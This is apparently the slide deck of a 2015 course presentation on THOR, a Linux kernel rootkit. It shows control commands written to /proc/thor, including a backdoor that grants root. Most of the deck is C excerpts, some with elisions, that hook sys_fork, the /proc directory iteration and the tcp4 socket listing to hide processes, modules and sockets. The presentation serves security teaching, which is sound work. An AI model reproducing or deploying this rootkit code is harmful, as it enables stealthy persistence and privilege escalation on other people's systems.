

# THOR

## The Horrific Hopefully Omnipotent Rootkit

Alex Hirsch   FraJo Haider

2015-01-30

Quality and Security Program

## Intro

- ▶ works with recent kernel
  - ▶ x86\_64
  - ▶ ARM (BeagleBone Black)
- ▶ hide files by suffix (`__thor`)
- ▶ hide kernel modules
- ▶ hide processes
- ▶ hide sockets
- ▶ automatically handles forked processes
- ▶ hijack kernel functions
  - ▶ may not always work
  - ▶ *may lead to race conditions, kernel panics and other problems*

## Communication

usage:

echo hp PID	> /proc/thor	(hides process PID)
echo up PID	> /proc/thor	(unhides process PID)
echo upa	> /proc/thor	(unhide all PIDs)
echo hm MODULE	> /proc/thor	(hide module)
echo um MODULE	> /proc/thor	(unhide module)
echo uma	> /proc/thor	(unhide all modules)
echo root	> /proc/thor	(gain root privileges)

## Gain Root Privileges

```
1  /* ... */  
2  
3  } else if (strncmp(buffer, "root", MIN(4, count)) == 0) {  
4  
5      commit_creds(prepare_kernel_cred(0));  
6  
7  }
```

## Handling Forks



```
1  static long (*sys_fork)(void);
2
3  int pidhider_init(void)
4  {
5      /* ... */
6
7      sys_fork = (void*) kallsyms_lookup_name("sys_fork");
8
9      /* error handling */
10
11     hijack(sys_fork, thor_fork);
12 }
13
14 void pidhider_cleanup(void)
15 {
16     if (sys_fork != NULL) {
17         unhijack(sys_fork);
18     }
19 }
```

```
1 static long thor_fork(void)
2 {
3     bool hidden = is_pid_hidden(current->pid);
4     long ret;
5
6     unhijack(sys_fork);
7     ret = sys_fork();
8     hijack(sys_fork, thor_fork);
9
10    /* if mother process was hidden child process */
11    if(hidden && ret != -1 && ret != 0) {
12        add_to_pid_list((unsigned short) ret);
13    }
14
15    return ret;
16 }
```

## Hijacking Explained (DEMO)

Will be shown in the next part.

## Hiding Process

```
1  int pidhider_init(void)
2  {
3      /* ... */
4
5      /* insert our modified iterate for /proc */
6      procroot = procfile->parent;
7      proc_fops = (struct file_operations*) procroot->proc_fops;
8
9      /* store original iterate function */
10     orig_proc_iterate = proc_fops->iterate;
11
12     iterate_addr = (void*) &(thor_proc_iterate);
13     write_no_prot(&proc_fops->iterate, &iterate_addr, sizeof(void*));
14
15     /* ... */
16
17     return 0;
18 }
```

```
1 void pidhider_cleanup(void)
2 {
3     if (proc_fops != NULL && orig_proc_iterate != NULL) {
4         void *iterate_addr = orig_proc_iterate;
5
6         write_no_prot(&proc_fops->iterate, &iterate_addr, sizeof(void*));
7     }
8
9     /* ... */
10 }
```

```
1 static int thor_proc_iterate(struct file *file, struct dir_context *ctx)
2 {
3     int ret;
4     filldir_t *ctx_actor;
5
6     /* capture original filldir function */
7     orig_proc_filldir = ctx->actor;
8
9     /* cast away const from ctx->actor */
10    ctx_actor = (filldir_t*) (&ctx->actor);
11
12    /* store our filldir in ctx->actor */
13    *ctx_actor = thor_proc_filldir;
14    ret = orig_proc_iterate(file, ctx);
15
16    /* restore original filldir */
17    *ctx_actor = orig_proc_filldir;
18
19    return ret;
20 }
```



```
1 static int thor_proc_filldir(void *buf, const char *name, int namelen,
2                             loff_t offset, u64 ino, unsigned d_type)
3 {
4
5     /* ... */
6
7     /* hide specified PIDs */
8     list_for_each_entry(tmp, &(pid_list.list), list) {
9         if (pid == tmp->pid) {
10             return 0;
11         }
12     }
13
14     /* hide thor itself */
15     if (strcmp(name, THOR_PROCFILE) == 0) {
16         return 0;
17     }
18
19     return orig_proc_filldir(buf, name, namelen, offset, ino, d_type);
20 }
```

## Hiding Kernel Modules

similar to the previous one

## Hiding Files

similar to the previous one

## Hiding Sockets

```
1  typedef int (*seq_show_fun)(struct seq_file*, void*);
2
3  static seq_show_fun orig_tcp4_seq_show;
4
5  int sockethider_init(void)
6  {
7      orig_tcp4_seq_show = replace_tcp_seq_show(thor_tcp4_seq_show,
8                                                  "/proc/net/tcp");
9
10     /* ... */
11 }
12
13 void sockethider_cleanup(void)
14 {
15     replace_tcp_seq_show(orig_tcp4_seq_show, "/proc/net/tcp");
16
17     /* ... */
18 }
```

```
1 static seq_show_fun replace_tcp_seq_show(seq_show_fun new_seq_show,  
2                                         const char *path)  
3 {  
4     void *old_seq_show;  
5     struct file *filp;  
6     struct tcp_seq_afinfo *afinfo;  
7  
8     if ((filp = filp_open(path, O_RDONLY, 0)) == NULL)  
9         return NULL;  
10  
11     afinfo = PDE_DATA(filp->f_dentry->d_inode);  
12  
13     old_seq_show = afinfo->seq_ops.show;  
14  
15     afinfo->seq_ops.show = new_seq_show;  
16  
17     filp_close(filp, 0);  
18  
19     return old_seq_show;  
20 }
```



```
1 static int thor_tcp4_seq_show(struct seq_file *seq, void *v)
2 {
3     /* hide port */
4     if (v != SEQ_START_TOKEN && is_socket_process_hidden(v))
5         return 0;
6
7     /* call original */
8     return orig_tcp4_seq_show(seq, v);
9 }
```

## Outro

Github: <http://git.io/ZwNdCQ>



## In Action (DEMO)